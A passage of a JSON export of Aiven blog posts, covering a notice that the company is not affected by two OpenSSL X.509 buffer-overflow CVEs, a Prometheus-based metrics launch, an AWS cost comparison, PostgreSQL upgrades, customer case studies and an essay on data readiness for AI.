10"}
{"__i18n_lang":"en","_createdAt":"2022-11-04T09:33:47Z","_id":"3ee6a855-3f84-4c2b-bff1-ee2cd7b2808e","_rev":"YN8truRCqnchJPC7UzUwdf","_type":"post","_updatedAt":"2024-11-25T14:00:06Z","authors":[],"body":"\nOn 25 Oct 2022, we became aware of a new potential critical OpenSSL Vulnerability. \n\nOn 1 Nov 2022, the official details were published. There are two HIGH severity OpenSSL vulnerabilities affecting OpenSSL v3.0-3.6:\n- [CVE-2022-3786](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3786)\n- [CVE-2022-3602](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602)\n\nThese could lead to buffer overruns resulting in a denial of service (“DoS”) or remote code execution (“RCE”). According to the statement by OpenSSL.org, the buffer overrun can be triggered when X.509 certification verification contains malicious values in some certificate fields. \n\nExploitation requires either a certificate authority (“CA”) to have signed a malicious certificate or for an application to continue certificate verification despite failure to construct a path to a trusted issuer. \n\nAt the time of disclosure, the OpenSSL reporting team was not aware of any working exploit that could lead to remote code execution and had no evidence of the issues having been exploited prior to disclosure.\n\nOur security, engineering, and operations teams have thoroughly investigated the potential impact on the Aiven platform and services since the additional details of the vulnerability were disclosed. **We have not found components in any Aiven services or underlying operating systems or software that are vulnerable to these exploits.**\n\n## Further information\n\nFor more information about the vulnerability, see \n\n1. [OpenSSL blog post on CVE-2022-3786 and CVE-2022-3602](https://www.openssl.org/blog/blog/2022/11/01/email-address-overflows/) \n\n2. [CVE-2022-3786](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3786) \nand [CVE-2022-3602](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602) on CVE Mitre. It could be referred to when the CVE information is public on CVE Mitre.\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n","categories":[{"_key":"4c0cc64c8d48","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-04T12:07:00.000Z","related":[{"_key":"5d83cda7f3a3","_ref":"11X1jinOSlkROrjtJ5UT0k","_type":"reference"},{"_key":"2fa316c063bb","_ref":"sK8QxQ0nMo1FwKUupORyt","_type":"reference"},{"_key":"fa6a36cb5c07","_ref":"4p1IgkhLKJMD5e7PmJuzMX","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Working with open-source solutions from Aiven? Do not miss out on the important security update concerning OpenSSL X.509 email address buffer overflow. "},"slug":{"_type":"slug","current":"/blog/security-update-on-openssl-x509-email-address-buffer-overflow"},"subtitle":"CVE-2022-3786 and CVE-2022-3602 currently have no impact on Aiven services or the Aiven platform.","title":"Security updates: OpenSSL X.509 email address buffer overflow"}
{"__i18n_lang":"en","_createdAt":"2024-10-04T17:28:38Z","_id":"7fedfe39-4789-482c-b02a-ddb400dbc930","_rev":"h4ancfFTuSnQNBSq3JJvV6","_type":"post","_updatedAt":"2024-11-19T11:59:45Z","authors":[{"_key":"10a8d7a477ad","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"Last month, we announced the early availability of [Aiven for Metrics](https://aiven.io/blog/aiven-for-metrics-is-now-available), and as of today it is generally available!\n\n## Metrics are ready for primetime\n\nNow that it's GA, Aiven for Metrics is ready for production workloads. Let's review what makes this new service special.\n\n- **Aggregated Prometheus metrics**\nAiven for Metrics is powered by Thanos, a solution for scaling Prometheus metrics. As such it provides a global query view, where you can execute queries across multiple Prometheus servers in a single place. \n- **Cost effective retention**\nAiven for Metrics automatically moves older content to low cost object storage to ensure that as your data grows, it can be kept for as long as you need it without breaking the bank.\n- **Integrated Aiven metrics**\nFrom the Aiven console, any other Aiven service can be configured to send metrics to Aiven for Metrics in just a few clicks. In turn, Aiven for Metrics can send its data to Aiven for Grafana for pre-built visualizations.\n\n## Get started\n\nAiven for Metrics is ready to be launched from your Aiven console. If you have existing metrics in Aiven for M3 or Aiven for InfluxDB, we've provided tools to [migrate and replicate that data](https://aiven.io/docs/products/metrics/howto/migrate-influxdb-thanos) to Aiven for Metrics.","categories":[{"_key":"ad253a356267","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Prometheus at Scale with Aiven for Metrics","asset":{"_ref":"image-2c440e249838327d9ab3c20db62c1665e911d92c-1200x628-png","_type":"reference"}},"publishedAt":"2024-10-08T14:00:00.000Z","related":[{"_key":"ae68df3e4487","_ref":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Metrics, a Prometheus compatible solution powered by Thanos, is now generally available. Find out what it has to offer in our blog!"},"slug":{"_type":"slug","current":"/blog/prometheus-at-scale-with-aiven-for-metrics"},"subtitle":"Aiven for Metrics, a Prometheus compatible solution powered by Thanos, is now generally available. ","title":"Prometheus at Scale with Aiven for Metrics"}
{"__i18n_lang":"en","_createdAt":"2024-08-05T17:01:11Z","_id":"b00fa92d-90ba-4e2c-a765-c71f1838555c","_rev":"sEwq5NBiPauorOxrhj8Ud9","_type":"post","_updatedAt":"2024-11-19T12:01:01Z","authors":[{"_key":"d42ab0314407","_ref":"988a3b7d-5394-4b8f-ac1f-f5927573f1e3","_type":"reference"}],"body":"## Limitations of AWS Pricing Discounts\n\nAre you interested in saving money on AWS services like Amazon Relational Database Service (RDS) or Aurora for PostgreSQL? If the answer is yes, you’re not alone. On-demand database pricing can be quite expensive, and AWS offers only one alternative solution: service-specific Reserved Instances (RIs). RIs are a discounted pricing model where you make a 1 or 3-year commitment for a specific instance type and receive a discounted hourly rate for the service in return. There’s a catch: if you buy RIs for Amazon RDS PostgreSQL, AWS will not apply them to other services like Amazon Aurora, OpenSearch, RDS MySQL, or Elastic Compute Cloud (EC2). Additionally, the AWS Kafka Service, MSK, does not offer RIs, and it is only available on-demand. Once you commit to a RI, you must spend the committed amount. If you need to change the services you use, your existing RI commitments cannot be transferred; they are a sunk cost and must be spent. \n\nService-specific RIs also do not offer the best cost savings; compute Savings Plans (SPs) provide up to 51% higher savings than RIs and apply to all EC2, Lambda, and Fargate usage. However, SPs cannot be applied to AWS data services, limiting how much you can save. You must also independently manage the RIs for each of your AWS data services, like Amazon OpenSearch, RDS PostgreSQL, and RDS MySQL. This makes minimizing your on-demand pricing across services all the more challenging, adding a significant complexity burden to your FinOps initiatives.\n\n## What is BYOC?\n\nSo how does Aiven come into the picture? Aiven offers a Bring Your Own Cloud (BYOC) model that allows you to apply your AWS compute SPs to Aiven data services and achieve significant cost savings and flexibility. In the BYOC model, Aiven runs services on standard EC2 instances in your AWS account, meaning your compute SPs will always apply to Aiven services. In this model, your existing AWS Enterprise Discount Program (EDP) also applies to your Aiven services.\n\nWith BYOC, you control your data and cost management practices in your own account, while reducing costs by offloading service infrastructure management responsibility to Aiven. Database and streaming services from third parties typically run in the vendor’s cloud environment. This means you can’t apply discounted pricing from a cloud provider to your data and streaming services. BYOC is a fundamentally new model that allows data services from a vendor to be managed and run securely within your cloud environment of choice like AWS, GCP, Azure, or OCI. To learn more about BYOC with Aiven, check out our [BYOC documentation](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment).\n\n## Aiven vs. AWS Cost Comparison\n\nImagine you have an application platform that relies heavily on Amazon Elastic Kubernetes Service (EKS) for your compute needs. You stream incoming real-time IoT data with Kafka, which is sent to Clickhouse for data warehousing and to your downstream applications running on EKS. You also use PostgreSQL (PG) databases for application transactions and billing data, which is then streamed through Kafka to downstream applications and your data warehouse. You offer this stack to each of your customers in the following regions: us-east1, eu-west1, and ap-northeast-1. \n\n![Diagram of public interest hyperscaler of choice](https://cdn.sanity.io/images/sczeoy4w/production/56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0-1014x474.png)\n\nTo maximize engineering resources and reduce costs, you seek fully managed solutions for Clickhouse, Kafka, and PostgreSQL that your application platform can easily consume. You also aim to lower the TCO for your cloud solution, including infrastructure costs. AWS and Aiven both offer managed Kafka and PostgreSQL services, while only Aiven offers a managed Clickhouse solution. How do the compute infrastructure costs compare between Aiven and AWS managed services? Let’s take a look.\n\nFor this example, let’s assume you always make 1-year commitments with either SPs and RIs, and all payments occur upfront. Let’s also keep the instance type consistent between Aiven and AWS. Keep in mind that AWS MSK does not offer RI commitments.\n\n| Region                 | Amazon Kafka (MSK)  kafka.m7g.xlarge (on-demand) | Aiven Kafka  m7gd.xlarge \\n(1Y compute SP) | Amazon RDS PostgreSQL  db.t3.xlarge \\n(1Y RI) | Aiven PostgreSQL t3.xlarge \\n(1Y compute SP) |\n|------------------------|--------------------------------------------------|------------------------------------------|---------------------------------------------|--------------------------------------------|\n| us-east1 (Virginia)    | $0.408/hr                                        | $0.1119/hr ($2593.84 YoY savings)        | $0.193/hr                                   | $0.112/hr ($709.56 YoY savings)            |\n| eu-west1 (Ireland)     | $0.4548/hr                                       | $0.1289/hr ($2854.88 YoY savings)        | $0.199/hr                                   | $0.1394/hr ($522.10 YoY savings)           |\n| ap-northeast-1 (Tokyo) | $0.527/hr                                        | $0.149/hr ($3311.28 YoY savings)         | $0.325/hr                                   | $0.1596/hr ($1448.90 YoY savings)          |\n\t\nWhen comparing the two approaches, your compute infrastructure cost with Aiven is up to 73% lower than when using AWS native services. With Aiven, you manage only 1 type of savings plan, reducing the effort required to maximize your cloud cost savings on AWS and providing you maximum flexibility. Additionally, any enterprise discounts will apply to the infrastructure costs as well. \n\nAWS does not offer a fully-managed Clickhouse solution for data warehousing, meaning with Aiven, you can invest in driving business value instead of managing Clickhouse. Self-managing services like ClickHouse comes with significant costs beyond the raw cloud infrastructure. You also need to consider the annual cost of manual tasks like performing upgrades, sharding databases, SRE activities, patching, replacing nodes, disaster recovery, service failovers, backups, forking, service health maintenance, and general database maintenance. These tasks can easily add up to 15 hours for an engineer every month.\n\nFor organizations looking to optimize costs with robust solutions in their existing AWS environments, Aiven’s BYOC model may be the best approach. If you want to get started with Aiven and BYOC, review our [documentation](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment) or [book a demo](https://aiven.io/book-demo?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform)! You can also visit the [Aiven console](https://console.aiven.io) to familiarize yourself with all Aiven Platform services.\n\n\t\n\n","categories":[{"_key":"7722ffc1ac1d","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"05f3f92c3f47","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630-png","_type":"reference"}},"publishedAt":"2024-08-06T14:38:28.007Z","related":[{"_key":"05377aebf1fe","_ref":"f5e9ca98-ba09-40cc-af2d-a435e1584f73","_type":"reference"},{"_key":"e34764b40034","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"935c48c6117f","_ref":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Save on AWS costs with the Bring Your Own Cloud option, offering flexibility and efficiency in managing cloud resources. Find out more in the Aiven blog!"},"slug":{"_type":"slug","current":"/blog/optimize-your-aws-costs-with-bring-your-own-cloud-from-aiven"},"subtitle":"Simplify cost management and drive cost reductions across all in-house and managed cloud services.","title":"Optimize Your AWS Costs With Bring Your Own Cloud From Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5xYduY1JNWW2r0A65rR3iz","_rev":"h4ancfFTuSnQNBSq3LujZ6","_type":"post","_updatedAt":"2024-11-20T06:03:24Z","authors":[],"body":"\n## Why Postgres major upgrades are important\nYou should always upgrade if you want to take full advantage of PostgreSQL. New major versions provide performance benefits as well as new features. \n\nBut a lot of PostgreSQL users are wary of major version updates because they present a challenge; namely, they require some downtime. How much downtime depends on how you upgrade.\n\n\u003c!---\nThe traditional way to to upgrade your PostgreSQL service is by forking your database and selecting the fork’s version. The fork then copies the data from your latest backup. Next the service automatically upgrades to the version you selected. Simple enough, but you still had to stop writing to the parent database, create your fork, and redirect traffic to the forked service. All this activity causes long stretches of downtime.\n--\u003e\n\nAiven has that downtime down to seconds.\n\n## Aiven makes major PG upgrades easy\nAiven's in-place upgrades for PostgreSQL take out multiple steps from the upgrade process and reduces downtime exponentially. Upgrading smaller instances will take seconds; larger instances often no more than one minute. \n\nHere's what happens during an in-place upgrade:\n1. An automatic process checks that the upgrade is possible.\n2. Possible standby nodes are shut down.\n3. The primary node is upgraded.\n4. A full backup is created.\n5. New standby nodes are created.\n6. A possible read-only replica service is upgraded by the same process.\n\nBut that's all done by Aiven - all you have to do is to click a button in the Aiven Console to get it started.\n\n## Next steps\n\nFeel free to [check out the PostgreSQL in-place major upgrades documentation](https://aiven.io/docs/products/postgresql/howto/upgrade\n) for more details. \n\n\n::banner[Fully managed and hosted PostgreSQL with high performance and all the extensions you want out of the box.]{ctaText=\"Try our open source service!\" ctaLink=\"https://aiven.io/postgresql\" title=\"Aiven for PostgreSQL®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/6c59e3c619e48dd09d197663e25f52979913241e-64x64.svg\"}\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-4d4b37f3664fcbf75ec4f61b22e5f2fea304fa77-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-03T12:09:25.077Z","related":[{"_key":"d1e731c334fe","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"fb3b4ec9891a","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Major version updates for your PostgreSQL in seconds? Yes, Aiven found a way to make it possible! Visit our blog for more information!","metaImage":{"alt":"","asset":{"_ref":"image-168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven"},"subtitle":"Major version updates for your PostgreSQL in seconds? Yes, Aiven can do it! Come and find out more.","title":"Aiven for PostgreSQL® major version in-place upgrade"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5cBHegWC7roNlL519hyUa9","_rev":"E2EqFgH2t2FE0P1F1wvcHx","_type":"post","_updatedAt":"2024-02-29T08:08:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"[OVO Energy](https://www.ovoenergy.com/) is a leading independent energy company in the UK with a focus on using technology to enhance its customers’ experience. One tool they use is the smart meter, with over 1 million already installed.\n\nThese smart meters require a robust and reliable data architecture that is also able to scale rapidly, which is why they decided to place Apache Kafka at the heart of it: this is where their relationship with Aiven started.\n\nBut, their needs didn’t stop with Kafka. They needed a _bespoke managed package_ to allow them to focus on their core business. Download the case study below to find out how they built one with the Aiven platform.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo\" title=\"Find out how OVO Energy built a robust and reliable data architecture with Aiven platform\"}\n\nTo see more case study summaries from other customers such as Priceline and Paf, visit the [Aiven case studies page](/case-studies) page. And don't forget to subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405-png","_type":"reference"}},"publishedAt":"2019-04-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Over 1 million smart meters require a robust and reliable data architecture; find out why OVO chose to build it on Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-3b410bebf94d990a99f18d1d4ecd9cdb442da6be-752x405-png","_type":"reference"}},"metaTitle":"OVO's Data Architecture for 1M+ Smart Meters [Case Study]"},"slug":{"_type":"slug","current":"/blog/aiven-and-over-1-million-ovo-smart-meters"},"subtitle":"Over 1 million smart meters require a robust and reliable data architecture; find out why OVO chose to build it on Aiven.","title":"A data architecture for over 1 million OVO smart meters [Case Study]"}
{"__i18n_lang":"en","_createdAt":"2024-03-06T08:53:50Z","_id":"f6b5725a-d2a6-46c0-98e5-5a1b1d986c6e","_rev":"sEwq5NBiPauorOxrhfBKSF","_type":"post","_updatedAt":"2024-11-18T12:58:29Z","authors":[{"_key":"cfc17f113ed4","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"“As an engineer, I believe that the work we do is about helping and supporting people,” says Matthew Huxtable, Staff Platform Engineer at Doccla. Having worked in both educational and financial technology, he has found that HealthTech is where he can do that best. “I fundamentally believe in the power of technology to improve patient outcomes — and Aiven is helping Doccla realize that goal.”   \n\nDoccla is a fast-growing healthcare technology startup that provides virtual wards, one of the biggest stories in healthcare technology. And, having provided clinical services, technology support and logistics to NHS England in the UK, Doccla has now expanded into Germany and will soon launch in France.\n\n## Data-driven hospitals at home\nVirtual wards have been [developing over several years](https://www.nhsconfed.org/system/files/2023-05/Realising-the-potential-of-virtual-wards.pdf). But like many other digital services, their deployment and capability were accelerated by the pandemic. In 2023, more than [100,000 patients were treated in virtual wards](https://www.england.nhs.uk/2023/03/world-leading-nhs-virtual-wards-treat-100000-patients-in-a-year/) in the UK’s national health service (NHS) alone. \n\nThe advantage of virtual wards is that non-critical patients get hospital-level care in the comfort and familiarity of their own homes, keeping hospital beds available for the patients whose needs are more severe. They are undeniably data intensive, however. In addition to online consultations, patients are monitored remotely, essential health markers are gathered from sensors, and data is submitted to hospital systems where they are routed to the right clinician. \n\nHaving worked in finance, Huxtable is acutely aware of the need to protect super-sensitive data. But he acknowledges that there is something about personal health data that requires particular assurance. \n\n“Virtual wards work when everyone involved has absolute confidence in the data. They need to be sure that clinicians are making treatment decisions from exactly the same data submitted by the patient,” says Huxtable. “We have to capture, transmit and analyze that data, make it available when it is needed, and ensure its integrity is not compromised on that journey. Our vision of patient care depends on it.” \n\n::youtube[Doccla uses Aiven Platform to Transform Patient Care with Virtual Wards]{#Ihm0jcx_CK4}\n\n## The right data platform for scalability, security and compliance\nThe virtual ward concept has engaged technology and networking providers of all sizes, including ambitious startups like Doccla, who bring innovation, agility and responsiveness to the process. \n\nHowever, as Huxtable makes clear, Doccla’s ability to respond to emerging needs and changing requirements is largely dependent on the underlying technology platforms. He’s also clear that, as a startup, Doccla has a highly efficient operation with a relatively small team of software and platform engineers — and has little appetite for spending months onboarding a new vendor. \n\nDoccla faced a ‘crunch moment’ that highlighted both the advantages and challenges of being a startup in HealthTech. “We developed a new product that was far more data intensive than previous offerings. It was innovative, but it had outgrown our existing platform,” says Huxtable. “I felt our existing set-up wasn’t sufficiently scalable, and we would struggle to support the new product. We needed to build a new platform. We needed it fast. And we didn’t have the resources to do it in-house.”\n\nWhat Huxtable needed was a trusted partner who could run all the open source data components Doccla relies on, provide the necessary support, and meet all regulatory compliance needs of the healthcare sector. He says, “I reached out to Aiven because, having experienced its services before, I knew Aiven would immediately solve this problem for me. In the end, I was able to accelerate the build of our new platform by months thanks to Aiven.”  \n\n## Integration and configuration made simple\nDoccla joined the [Aiven Cluster startup program] (https://aiven.io/cluster), which gave Huxtable access to Aiven expertise and technical support as well as $100,000 of credits to spend on Aiven services. “The credits we got by joining the Aiven Cluster program helped us to get started very quickly,” he says. It meant Doccla could experiment with potential technologies before settling on a final architecture based on Aiven for Apache Kafka®, Aiven for Caching and Aiven for PostgreSQL® — all of which are deployed to multiple regions in Google Cloud. \n\nUsing the Aiven Platform ensures all of the technologies seamlessly integrate and are legally compliant, with a single control panel and a single bill based on a transparent, predictable cost structure. Doccla also has to monitor just one SLA: Aiven’s uptime guarantee of 99.99% across all services. \n\nPreviously, Doccla had been using managed cloud-native services or running them in-house. That had brought a huge amount of variability to the operation, security and back-up of various features. By moving to the Aiven Platform running on Google Cloud, Doccla’s data hosting and data storage layer is now common across all the regions in which it operates.\n\nHuxtable has also found configuration to be straightforward. He uses familiar tools with TerraForm to provision services which are available to see immediately — even without refreshing — making it easier to onboard new products as they are built as well as provisioning new regions.\n\n“The partnership between Aiven and Google makes things really easy for us. In just a few clicks, we can launch a fully managed and configured cluster Aiven service in the region of our choice. If we need Kafka in Germany, it’s done. Or if we need PostgreSQL in Paris, it’s done.”\n\n“As we build out our platform to reach more patients in more countries, Aiven will remain a fundamental partner,” says Huxtable. “If I need more performance, it's very easy to point and click and make our clusters bigger. We get all that capability without the cognitive overload of managing a hugely disparate data estate across Europe.”\n\nHe continues, “As a technologist, I'm always very happy when our software is templated and can easily be rolled out again in a packaged and well-understood format, without having to customize it for different regions or add new capabilities. Working with Aiven enables me to do that and it’s a huge advantage.”\n\n## More care for more patients in many more places\n“We want to reach as many patients with as many conditions as we can. We need a lot of talent, a lot of technology and a lot of partners to enable us on that journey. Doccla is confident that Aiven will be there for us tomorrow as we scale and as more patient data comes through our platform,” says Huxtable.\n\nThe immediate result of working with Aiven is that Doccla was able to accelerate the build of its new platform and, rather than worrying about data infrastructure, Huxtable now has an extended team he can turn to as the platform scales. That means he can focus on much bigger goals: supporting more patients in the regions it operates in; launching new capabilities and new products so Doccla can reach different patients and provide more care; and operating in more countries — ultimately enabling Doccla to grow and provide even more care across Europe.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1317b4d85a0a","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"0e9e403fc01c","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"fd143138-e6d5-4957-be92-bc996dbaa518","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}},"publishedAt":"2024-03-06T11:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"178d2b69d553","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how Doccla uses open source tech to transform healthcare with virtual wards, supported by Aiven, in the UK and Europe.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}},"metaTitle":"How Doccla Transforms Patient Care with Aiven"},"slug":{"_type":"slug","current":"/blog/data-for-good"},"subtitle":"Discover how Doccla uses open source tech to transform healthcare with virtual wards, supported by Aiven, in the UK and Europe.","title":"Data for Good: How Open Source Technology is Enabling Doccla to Transform Patient Care"}
{"__i18n_lang":"en","_createdAt":"2024-12-10T16:33:11Z","_id":"83e71a0f-722d-481e-8616-00e6b17f6a95","_rev":"YU4kCQh9dJYVB9mWnl5CX4","_type":"post","_updatedAt":"2024-12-12T14:41:25Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The third article in our Data Economy series examines what it takes to unlock the opportunities with AI. Based on some of the key findings of our own research [‘Predicting the Data and AI Revolution’](https://aiven.io/report/predicting-the-data-and-ai-revolution) and exclusive insights provided by leaders in the data economy, this piece explores how organizations are currently using AI. This includes the major challenges they are facing and, more perhaps importantly, what can be done to address them in order to create businesses that are built to be data-ready with AI at their core.\n\nIt’s no secret that businesses around the world are in an arms race to adopt AI. But, in keeping their eyes on the shiny prize at the end, many are skipping a crucial first step for successful deployments: putting their data house in order.\n\nIt’s the modern day equivalent of putting the cart before the horse and, much like with the simile, a crash is inevitable unless businesses approach AI adoption in the right way.\n\n\n## Throwing data at the problem and hoping it sticks\nIt’s why, despite so many organizations investing in AI, that the value derived from those solutions has been limited. Indeed, [research](https://aiven.io/report/predicting-the-data-and-ai-revolution) conducted by Aiven among executives found only 17% of organizations have successfully moved AI projects into full production despite widespread experimentation. The research also found that more than half of these C-Suite executives cite data-related challenges as the main barrier to success with AI deployments.\n\nWhat is happening is that AI is the epitome of the ‘garbage-in, garbage-out’ concept. Because most businesses were, quite understandably, not primed for the emergence of AI, they have taken to throwing data at the problem and hoping some of it sticks. Spoiler alert: it won’t.\n\nAs part of our data economy campaign, we have spoken to individuals all playing differing roles in its development. One of those individuals is **Nilesh Bansal, Co-Founder, [WorkOrb](https://www.workorb.com/)** who told me, *“companies pursuing AI purely for fear of missing out are skipping the important step of building a solid data foundation layer first. My advice would be to start with the data and then build on top of it.”*\n\nTo tackle the foundational challenges businesses are facing when it comes to getting their data AI-ready, we first need to know what they are.\n\n\n\n## A humanity-defining opportunity\nAs data is moved between environments, fed into ML models or leveraged in advanced analytics, considerations around topics like security and compliance are top of mind for many businesses. Our research found that well over half (58%) of executives see data security and privacy as the number one obstacle unlocking the potential of AI. There is a sense of ‘if we don’t move it, it won’t break’. \n\nThere is, of course, the other side of the issue. That businesses are reluctant to put too much data into an AI because of a mistrust about where the data goes and/or how it is used. They keep confidential and business-sensitive information away from AI which creates the sense of security businesses are looking for but compromises the AI output — and therefore the wider perception of AI — in the process.\n\nThis is why we’re seeing a groundswell of popularity for AI sovereignty. The majority (80%) of executives in our research emphasized that data sovereignty and control are equally critical to AI-driven strategic success. \n\nWhile on the one hand we have a burgeoning economy built on data, on the other hand there is a large proportion of businesses that simply don’t know how to handle it. And, if we are to unlock the proposed [USD 15.7 trillion](https://www.pwc.com/gx/en/issues/artificial-intelligence/publications/artificial-intelligence-study.html) that AI is expected to contribute to the global economy by the end of the decade, this has to change.\n\nThe question is, how?\n\n\n\n## Building a strong, modern foundation\nThe data economy is something to behold. The change it has enacted and the speed at which it has done so has not been seen in human history. But progress is not linear and it is clear that ambition is being hindered by inadequate data readiness with significant gaps between AI aspirations and data capabilities. \n\nOrganizations need to be data-ready to truly be AI-ready. The accessibility of GenAI has created a false sense of ease around AI as a technology. However, unlocking the full value of proprietary data is complex and has revealed stress fractures within organizations. Businesses are eager to differentiate through AI-powered innovations but require efficient ways to manage and leverage their data.\n\nAs **Bansal** points out, *“The data practices that the companies need in the new era of AI don't change. The fundamentals remain the same. Companies need to start with making sure they're collecting the data they need for their businesses. Having the right infrastructure in place that allows teams to access this data in an easy manner, while maintaining governance and privacy controls.”*\n\n**Luca Eisenstecken, Partner, [Atomico](https://atomico.com/)** also told us, *“Data is the foundation for AI and production. It is a necessary building block to create and run AI applications that deliver real business value at scale, which in itself drives the data economy much akin to a perpetual flywheel.”*\n\n\nThe more data an organization has, the more it can use and the bigger role it plays in the data economy. It’s a self-fulfilling prophecy and one of the reasons why there is a disparity between companies at either and of the data scale. A point explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/) who said, “*The larger tech companies have already mastered the data economy and how to make sense of their data in real-time to grow their revenue and deliver value to their customers. We need to start leveling the playing field and find a way to make data accessible to start-ups so they can compete with the larger companies.*”\n\nThe whole premise of the data economy falls down if the data — and therefore power and influence — is held by a minority of big, influential companies. Organizations must be part of a data economy based on ecosystems of parties cooperating on shared goals whilst not losing sight of their respective bottom lines.\n\n## Doing data well\nLooking ahead to 2025, businesses must prioritize the basics of data management and storage to make sure the right data is in the right place at the right time. Businesses need to stop looking at the AI endgame but instead focus on the basics of ‘doing data well’. \n\nThat is what will unlock the impact of AI and 